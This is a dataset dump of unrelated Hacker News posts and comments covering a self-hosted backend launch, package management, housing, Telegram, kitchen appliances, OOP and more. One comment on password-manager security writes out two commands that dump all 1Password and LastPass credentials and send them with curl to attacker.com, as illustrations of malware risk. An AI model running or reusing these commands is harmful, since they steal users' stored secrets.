skysight-inc/HackerNews huggingface dataset:
Conduit: A new open-source and Self-Hosted Backend Platform
Hello everyone! This is my first time writing here, and I want to introduce you to the project I've been working on for some time!

It's called Conduit and it's a new platform to build your next application on. I've been working with similar solutions since 2014, beginning with Parse (even after it was made open-source), moving to firebase and then mostly sticking to custom backends. On 2017 I founded a Software Development agency and quickly realised that if we were to improve quality and increase speeds we need a platform to help us do that.

Parse was kind of outdated for us at that point, and Firebase hasn't (even after so many years) caught up to the flexibility the former provided. You can do MVPs yes, but you end up moving logic to the front-end or use the serverless functions that have many limitations and slow cold-start times. So for me and my dev team, it wasn't a solution for anything further than authentication management and push notifications.

So, back in 2020 I begun working on Conduit, with 3 targets: Provide common functionality out of the box, do not limit devs and lastly it should work in the same philosophy a custom backend would. This meant effectively no runtime overheads (or at the very least only minor ones), a flexible API, micro-service based architecture with each service housing a particular set of features (ex. Authentication, Database, Email etc) and of course it uses gRPC for service-to-service communications so devs can create new modules from whatever language and/or framework they want!

Fast-forward in 2022, we've already used in 5 production projects for clients. Our front-end teams love it, our backend teams have more free time than ever to work in more complex problems, and bugs in production have been reduced drastically. It even withstood a user surge in one project were we had more than 10.000 req/min (we spun up more instances to account for the load).

I'd love to answer any and all questions you have about it! And I hope you like it enough to give us a star in GitHub :D

Links:
website: https://getconduit.dev/ GitHub: https://github.com/ConduitPlatform/Conduit
> Install/Restore now are the same operation

Finally, I guess.

> and all nuget ops are part of the main dotnet CLI which is used by the IDEs and other tooling.

Okay? I don't really see what the difference is between `nuget foo` and `dotnet nuget foo`.

> No plugins needed because everything is consolidated to the same process.

Err.. what?

> As far as the supply chain, .NET assemblies are IL (intermediate language) and can be inspected and signed to ensure integrity.

Sure, and you can disassemble all the x86 binaries on your system, too. But that's not the source code that people are reading or writing, nor is it what's tracked in your Git repository. Even if it's signed, the most you have to go on is "the author promises that this is the same as the corresponding source release".

> There are trade-offs but I find it much better than the source-first mess of NPM.

This is a fun example, because it NPM is also binary-first and has exactly the same problems! (Except arguably even worse, because your typical package will ship in 3+ different forms, and good luck finding out which one is actually used when).

For an actual source-first package manager, take a look at Cargo, Nix, or Cabal.

> I don't see how you'd lose knowledge though, you're still building your own source.

You're building your own code (for now), but not that of your dependencies.

> You can always copy the raw code from an (open-source/decompiled) package into your project and build that way if you really want to.

Sure, but you shouldn't have to give up on package management to have a reasonable and trustable build process.
>> I think sometimes it is also the case of knowingly what to Google for, and being able to pick out the correct answer.

To me this is a part of literacy: how to know what to search for, and how to know which results are relevant.
> Would you say that there isn't a housing shortage?

There isn't, the problem is everybody thinks they must be owners despite their financials. Truth is, offer is limited because not everyone can afford a house in most cities.

From a bank perspective, the bank wants more from both sides : deposits and loans and that's the truth driving the "demand" : let's give away more loans !
Telegram Cooperates with FSB (Rus)
Istio came out of Google. And I'm not sure what Kubernetes has to do with OpenStack, other than early-on it was assumed you would need to run containers on top of cloud VMs because that's what the big public cloud providers did.
Reading Smith has been eye-opening on how much different the moral landscape is nowadays. Making money without working was frought upon in Smith days, even called parasitic by "the inventor of liberalism", while nowadays it's considered good.
I like my phone thin and sturdy and I have no interest in replacing batteries myself.
Love these types of projects! Will be very useful to anyone who wants to learn how to make multiplayer game.
Let a thousand flowers bloom. Then rip 999 of them out by the roots
No offence but this seems overcomplicated to me. I know docker and nodejs etc are all the trend, or maybe I'm missing something that makes this necessary?

If it's just a matter of generating a random sprite, this could be a simple front-end script that given a random seed outputs a deterministic avatar. That seed could be based on a user-email etc and now you have a "service" without a back-end. The images are simple enough that it should be very efficient to generate and faster than a http request (provided it's written considerately)... or if it _must_ be done in the backend, you could generate a http image response on the fly based on a seed passed in the request header, again in one simple script.

[edit]

Sorry I feel bad now, but I genuinely think there is a better approach. I'm hoping you might be open to it. Here's a proof of concept that add avatars to HN based on the username:

(Just paste it in the console on this page and scroll to the top.)

const avatar = (r=1, p=16) => {
const c = document.createElement('canvas');
const x = c.getContext('2d');
c.width = 8*p;
c.height = 8*p;
for (let i=28; i--;) {
// xorshift
r ^= r << 13;
r ^= r >>> 17;
r ^= r << 5;
// pixels
const X=i&3, Y=i>>2;
if (r>>>28 > X*X+Y) {
x.fillRect(
p*3.5 + p*X,
p*0.5 + p*Y,
p, p);
x.fillRect(
p*3.5 - p*X,
p*0.5 + p*Y,
p, p);
}
}
return c;
};
// Your HN avatar ! :)
const seed = [...me.innerText]
.map(c => c.charCodeAt(0))
.reduce((a, b) => a + b);
const sprite = avatar(seed);
document.body.prepend(sprite);
I'm in my mid 40s, and started programming for fun / challenge 35 years ago. For the first time in my life, my answer would seem to be no, I'm not. I'm not sure exactly why. Some form of long-term burnout perhaps. Working in the industry for 20 years certainly disillusioned me, on balance, more than it inspired me. But I sort of non-committaly retired 4 years ago, so in theory had time to recover if it was that.

The last time I wrote code for fun was in 2019 when I went through all the easy and medium leetcodes and quite enjoyed it. More recently this year I got around to finishing all the pretend-assembly-language Zachtronics games (TIS-100, Shenzhen IO, Exapunks), and had a lot of fun there too. But for the first time I'm not working on any real personal projects, despite that my notebook of ideas is as full as ever.

I still believe in these ideas and want to see them realized. But at this point, working on any of them implies writing / adapting tons of things I've already written. Probably a lot of things I've already written 3 times or more. But that doesn't quite seem like a reason either, since I always used to love rewriting things. I don't feel depressed - quite happy actually. It's just that when I open a project and look at the code and start thinking about the next steps, I'm just like "Nah."
There is an extra degree of indirection the optimizer has to get rid of. There is no extra pointer in the _Alias version. Whether this minor difference is relevant I'll leave to better informed people.
I don't like the link either. But a quick Google search didn't bring up a good English speaking source (yesterday), so I can understand tomte linking to the eevblog forums.

This was published yesterday by Golem [1] (German tech news) and two days ago by the FAZ [2] (respectable German news outlet). While both might be better links, they're in German. You can try Google Translate or DeepL, which usually work pretty well.
Since this is happening on the EU level there will eventually be official translations of their plans; as well as international coverage.

[1] https://www.golem.de/news/nachhaltigkeit-eu-parlament-beschl...
[2] https://www.faz.net/aktuell/wirtschaft/eu-parlament-will-fes...
I once saw an article about something similar, where the author had written a primitive circuit simulator but using shell pipes and /dev/null and /dev/zero as a current sink/source (or something like that). It was very cool, but I never managed to find the article again.

Edit: found it [0]! and it's from Linus Akesson, a total legend.

[0] https://www.linusakesson.net/programming/pipelogic/index.php
Text is in Russian, but nowadays it shouldn't be a problem.

Just in case, Google Translate:

Oleg Matveychev, deputy chairman of the committee on information policy, information technology and communications, told Podyom that as long as the messenger is politically neutral, they will not touch it, and there is no need to become biased by Telegram.

“Durov found a compromise with the FSB. Not an agreement, not that he unequivocally said “come in, do whatever you want in my household”, but managed to convince him that people's lives are important and that terrorists are negotiating through Telegram.

Requests within the framework of operational activities are transferred there if terrorists or someone is under control. Telegram installed equipment to be able to watch all the dangerous subjects.”

And one more thing: FSB is former KGB.
In large companies, accountants already spend much of their time building custom reports for management. A lot are in Excel, but other specialized tools are also common.
We have a gas well on our property, so we come pretty close to getting a free lunch.
It is non obvious but important to understand that most password managers, such as 1password, Lastpass, and almost everything else, expose all secrets to malware in plain text any time the password database is unlocked.

Here are some trivial examples of how malware can steal credentials in bulk.

Example: Exfiltrate all plaintext credentials from 1password

```
op list items | jq -r '.[].uuid' | xargs -n1 bash -c 'op get item "$1"' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
```

Example: Exfiltrate all plaintext credentials from lastpass

```
lpass ls | grep -oP '(?<=id: )([0-9]+)' | xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- | curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
```

I have seen fake password manager browser plugins deployed in the wild that phish and exfiltrate master passwords, though the above methods are even simpler as they could just run a loop waiting until a password manager is eventually unlocked.

Software-only password managers may be useful for casual personal use cases such as food delivery services or social media accounts, but are not recommended for any use cases that protect any significant value like production corporate systems, and in particularly not for high risk secrets such as cloud root account creds, TLS CAs, or crypto-asset keys (you know who you are).

I would strongly encourage for most use cases to consider secret management solutions that decrypt one credential at a time on external hardware such as Password Store backed with a Yubikey, Trezor password manager, or a Mooltipass.

These offer damage control even when your endpoint is compromised.
In the US, most people are buying a range (freestanding stove+oven), while I understand in Europe people are buying cooktops (stove only)
Prev - https://news.ycombinator.com/item?id=30661316
It was a sardonic point, not a literal point.

But it's also a reference to preppers generally among the billionaire classes -- "buying somewhere in New Zealand" is sort of billionaire nudge-wink-speak for a wider trend (according to Reid Hoffman who is quoted below).

https://www.newyorker.com/magazine/2017/01/30/doomsday-prep-...

https://www.theguardian.com/world/2017/feb/17/billionaires-b...

https://peakoil.com/consumption/tech-billionaires-are-buildi...

Basically, the Randian supermen maximising their happiness are so fully aware of the downside risk of being super-rich that they are now fearfully planning to maximise their happiness somewhere a gang of poor people with guns can be fended off.

This is an actual observable trend. It just doesn't always specifically involve New Zealand.
Tuterm: A better way to learn CLI programs
It's not standard, but this basically already exists. It just makes sense for the car makers themselves to build batteries from modular components at various levels.

e.g. VW group uses one MEB 'platform' across it's different brand's EVs cars/vans, and the different models with different battery sizes, have different amounts of modules like these in them:

https://www.secondlife-evbatteries.com/products/vw-id3-batte...

And it's almost guaranteed, though I haven't checked, that this module contains a bunch of smaller batteries.

https://www.volkswagen-newsroom.com/en/modular-electric-driv...
Basically any file sync client. Just keep the keepass database in the folder that gets autosync'd and sync the folder to each device you need keepass on
Is there a way to add custom objects if we want different objects for the flows to be created.
> diminishes the author's arguments, and insults the author by calling him a woman

Your tirade gets a pass after that statement. It is an embarrassing reveal. You apparently think it's an insult to be a woman.

If you're a man, look inward. Your hatred and distrust of men is self hate. You can break free.

Know that I'll read whatever you write next, but will not respond. Be well.
I wonder how that compares to South Korea? They also managed to keep the number low for a long time. During Decomber 2021 there was a huge panic because suddenly there was a peak above 5000, but it subsided again.

Now with Omikron it appears that there is no limit anymore. Currently they have more than 350000 new cases per day, the highest in any country.
I don't like Uber, but it became popular because of convenience, not because of costs.

Pre-Uber/Lift in my city you'd have taxi companies that were operating like a cartel and giving a shitty service. Drivers were borderline rude. You had to call a dispatcher that was also usually rude and then wait 20 mins for a cab to show up.

Uber changed that process for the best by actually allowing me to get a taxi from an app in 30 seconds, they usually showed up much faster and the driver, fearing a 4-stars review, is usually incentivized to at least keep their car clean. It's a game changer and I wouldn't go back.

So no, the magic of Uber is not passing those hidden cost to the driver, it's actually offering a service that I want to use after +40 years of a corrupt industry that couldn't give a shit about improving.

Now that Uber gave them a big scare, they actually improved, but the idea that they would have evolved without an existential threat is madness.
In case you haven't spotted it yet, this is actually a community maintained fork of the library he uses for 3blue1brown and open sourced :) https://docs.manim.community/en/stable/installation/versions...
In most of these countries the salary is lower than in USA, so my guess the OP is asking for a company with a similar salary range.
These kinds of messages make me doubt Pavel's honesty even more
Keepasswandroid can integrate with any cloud storage and will perform merge when needed
Phones are becoming ever more expensive and at the same time the pace of improvement is slowing down. It's making more and more sense to buy a top-end phone and keep it a long time. Repair and maintainability of phones is thus going to become more important. But I don't know if it's necessary that the an ordinary user can do it themselves.
I sold a 750ti for $70 recently. Just ebay it.

Also, I think that's the most powerful gpu with analogue video output. Some Vga CRT geeks would want it, to avoid the additional lag using an hdmi/usbc/dp to vga adapter.
I've got an IP-68 (or whatever is waterproof) phone with a user-replaceable batter. It effectively has weather stripping along the battery door, and uses a screw to keep it tight. It's cheap, simple, and effective. (and no, it's not a smart phone)
The strength of Kubernetes (vs Mesos, OpenStack, etc.) is that you can strip it down pretty well so that you only bring the niche bits that you need - whether it's edge, or something big that needs a lot of extras. The unified API mechanisms and moving drivers out of core helped a lot there.

Also, in my experience, it turns out that you can quickly find yourself needing all those extra bits if you're not Google (which implements a lot of the same features in libraries linked to programs directly and depends on the fact that they run customized everything) or Netflix (similar).
FYI you can often press the (unlabeled) second soft button from the top on the right side of the screen to mute video ads on the gas pump.
Also got an AEG induction hob last year.

Mine has all touch controls but I love it. I think it might be my favourite appliance in the new kitchen.

A big slab of black glass with nothing to trap dirt on.

We had to replace a few old aluminium pans with nice Samuel Groves carbon steel ones but I think it was well worth it.

I haven’t had many boil overs or any switch offs.

It has more than enough power when needed. 230v 40amp dedicated supply and RCD I think but it could be 50amp, can't remember.

I would not go back to gas.

I’m not sure I’d want a plug-in 13amp unit though. Seems a bit weedy compared to a real hob.
Did someone need any pills? As a person that takes medication daily, this would be extremely painful for me.
People say a lot of nice things abotu Bitwarden, and it's got both self-hosting and hosted options.

TIL 1Password are also looking into a self-hosted option; maybe it'll happen if more people sign on to their survey: https://survey.1password.com/self-host/.
89% of Global cyberattacks are aimed at Russia or Ukraine
I let this company called FSF take over the rights of my side projects. Their business is to protect exactly that, via the GPLv3.
Audiophile Linux
> its tough

It is so tough, like beyond just the general psychological toll of your rent being a gamified award, there is little reprieve. No vacation, no security at all.

I have had so many jobs, and being a GrubHub deliverer is perhaps the most alienating, and in long term, exhausting ones ive had. I used to think "well at least people can have flexible jobs, use their vehicles", but these days I just so no reason for labor to ever be like it for anyone. Its not a model that thinks about the actual worker at all.
I think this is a valid critique. But then, most of the development (C aside) has been a victim to OOP.

I have begun to think that OOP creates more problems than it solves. Added complexity and performance loss being the biggest. It's insane if you peek into a big projects where many developers came and went and each of them read an article about what it seemed an interesting design pattern and tried to implement them.

You can have some kind of procedural programming if you use classes just to store data and use static methods. But the frameworks are OOP and there is no way around that unless you write your own frameworks.

I am a big fan of Mike Acton's Data Oriented Architecture speeches, but I didn't find a way to implement something similar in C#.

For those interested in something better than OOP, here's a few links:

https://youtu.be/rX0ItVEVjHc

https://youtu.be/QM1iUe6IofM

https://youtu.be/pgoetgxecw8
Principles for Dealing with the Changing World Order by Ray Dalio [video]
Telegram is fine for public and semi-public use.
We mostly use it as a an IRC replacement with better multimedia capabilities.
We also bridge some channels to IRC.

It's fine as long as people understand that it offers privacy only a notch above email.
Now the security is on the level of a post card in an envelope instead of a bare postcard levels of security offered by email.
I recently tried to get MSI Afterburner to run on a pretty standard new-ish windows 11 gaming pc.

Two hours later, I gave up. The mysterious side-by-side manifest error wasn’t solvable. I installed all the redists, and even installed a neat redist installer I randomly found on GitHub which brute-force-installs every possible redist known to humanity.

Didn’t matter. The side by side error was just insurmountable.

Now, as a former gamedev who grew up on windows, I have a soft spot for Microsoft. I love me some visual studio. Yum yum, that IDE was cool a decade before Jetbrains showed everyone why IDEs are cool.

But it’s been… eight years now since I switched to macOS, and more generally exited from the MS development ecosystem.

I don’t know, man (or woman or they). Microsoft’s current policies are hopelessly complicated compared to unix. I’ve been programming for almost two decades. If I can’t analyze and fix an error that clearly shows exactly which manifest entry is missing, well… I think we’ll just agree to disagree that Microsoft is making nice decisions about ABIs and related ideas.

Here’s a wild idea: just let a program run, and trap errors into an error log. Jetbrains does it. Their early access IDE happily lurches along even with dozens of Frankensteinesque errors coming up.

Refusing to start because of an ABI mismatch (or indeed, dying at the first error) was one of the most unfortunate decisions in OS design.
But on the flip side, phones can last twice as long (or longer, assuming the software and other hardware doesn't crap out instead) and the total materials in that time are one phone plus two batteries, not two phones and two batteries.
I have this book. I enjoyed the previous book by the author much more. This one in particular focuses around a title, but my take away is “how to be a better knowledge worker”.

There are so many great tips in this book ranging from leading without role power, daily tactics to drive results, and even when you should make a push for the title whether that is staying or leaving.

The stories are okay and are half the book, but no single story of getting the promo is similar enough. It does help you realize you may not need a “SNAP” project to obtain an prestigious position.

If the book had another hundred pages of being more efficient and strategic, I think it would be a better read. Stories in most tech books are not very helpful at least to me. I find them hard to relate to, but every once in a while a story will match my situation and help me grow.
>pretty interesting ideas around WASM

I'm confused here, does WASM stand for something different besides WebAssembly because googling "kubernetes WASM' came up with nothing but WebAssembly. But I was under the impression that WebAssembly is just a virtual machine. I'm not much of a backend person but I don't see the overlap between container management (kubernetes) to a virtual machine (WASM).
Is there, though? AIUI there's no symbol created and no pointer when you declare a "static const int" at file scope. It's simple substitution, like a #define. So the question is why wouldn't a function label be the same.
Previous discussion:

https://news.ycombinator.com/item?id=28245277 (community version)

https://news.ycombinator.com/item?id=19716019 (3Blue1Brown's version)